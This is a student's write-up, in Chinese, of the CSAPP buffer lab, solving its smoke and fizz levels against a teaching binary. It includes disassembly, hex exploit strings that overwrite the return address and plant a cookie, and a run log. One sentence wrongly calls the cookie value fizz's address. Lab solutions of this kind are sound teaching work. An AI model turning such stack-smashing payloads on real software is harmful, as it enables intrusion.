

Exp3

SA25011052 刘睿博

首先 通过makecookie获取ID:

```
$ ./makecookie SA25011052
0x36d04c14
```

candle

```
08048fe0 <getbuf>:
  8048fe0: 55                push    %ebp
  8048fe1: 89 e5            mov     %esp,%ebp
  8048fe3: 83 ec 18        sub     $0x18,%esp
  8048fe6: 8d 45 f4        lea     -0xc(%ebp),%eax
  8048fe9: 89 04 24        mov     %eax,(%esp)
  8048fec: e8 6f fe ff ff   call    8048e60 <Gets>
  8048ff1: b8 01 00 00 00   mov     $0x1,%eax
  8048ff6: c9              leave
  8048ff7: c3              ret
  8048ff8: 90              nop
  8048ff9: 8d b4 26 00 00 00 00 lea     0x0(%esi,%eiz,1),%esi
```

根据反汇编结果, 输入buffer的结果存放在 `%ebp-0xc`, 返回地址存在 `%ebp+0x4`, 因此将输入的第17~20字节替换为smoke的起始地址即可 `0x08048e20`。

exploit.txt:

```
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 8e 04 08
```

将上一部分的函数起始地址替换成fizz的 `0x36d04c14`。

```
08048dc0 <fizz>:
  8048dc0: 55                push    %ebp
  8048dc1: 89 e5            mov     %esp,%ebp
  8048dc3: 53              push    %ebx
  8048dc4: 83 ec 14        sub     $0x14,%esp
  8048dc7: 8b 5d 08        mov     0x8(%ebp),%ebx
  8048dca: c7 04 24 01 00 00 00 movl    $0x1,(%esp)
  8048dd1: e8 ca fb ff ff   call    80489a0 <entry_check>
  8048dd6: 3b 1d cc a1 04 08 cmp     0x804a1cc,%ebx
  8048ddc: 74 22          je      8048e00 <fizz+0x40>
```

```

8048dde: 89 5c 24 04      mov     %ebx,0x4(%esp)
8048de2: c7 04 24 98 98 04 08 movl    $0x8049898, (%esp)
8048de9: e8 76 f9 ff ff    call   8048764 <printf@plt>
8048dee: c7 04 24 00 00 00 00 movl    $0x0, (%esp)
8048df5: e8 aa f9 ff ff    call   80487a4 <exit@plt>
8048dfa: 8d b6 00 00 00 00 lea     0x0(%esi),%esi
8048e00: 89 5c 24 04      mov     %ebx,0x4(%esp)
8048e04: c7 04 24 29 9a 04 08 movl    $0x8049a29, (%esp)
8048e0b: e8 54 f9 ff ff    call   8048764 <printf@plt>
8048e10: c7 04 24 01 00 00 00 movl    $0x1, (%esp)
8048e17: e8 c4 fc ff ff    call   8048ae0 <validate>
8048e1c: eb d0            jmp     8048dee <fizz+0x2e>
8048e1e: 89 f6            mov     %esi,%esi

```

在fizz函数中，将 `%ebp+0x8` 的值与Cookie进行比较，因此需要将Cookie放入输入的第25~28字节

exploit.txt:

```
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 8d 04 08 00 00 00 00 14 4c d0 36
```

```

(base) jyjs@VServer:~/Documents/CSAPP/Exp/Exp3$ ./sendstring < exploit.txt > exploit-raw.txt
(base) jyjs@VServer:~/Documents/CSAPP/Exp/Exp3$ ./bufbomb -t SA25011052 < exploit-raw.txt
Team: SA25011052
Cookie: 0x36d04c14
Type string:Smoke!: You called smoke()
NICE JOB!
Sent validation information to grading server
(base) jyjs@VServer:~/Documents/CSAPP/Exp/Exp3$ ./sendstring < exploit.txt > exploit-raw.txt
(base) jyjs@VServer:~/Documents/CSAPP/Exp/Exp3$ ./bufbomb -t SA25011052 < exploit-raw.txt
Team: SA25011052
Cookie: 0x36d04c14
Type string:Fizz!: You called fizz(0x36d04c14)
NICE JOB!
Sent validation information to grading server

```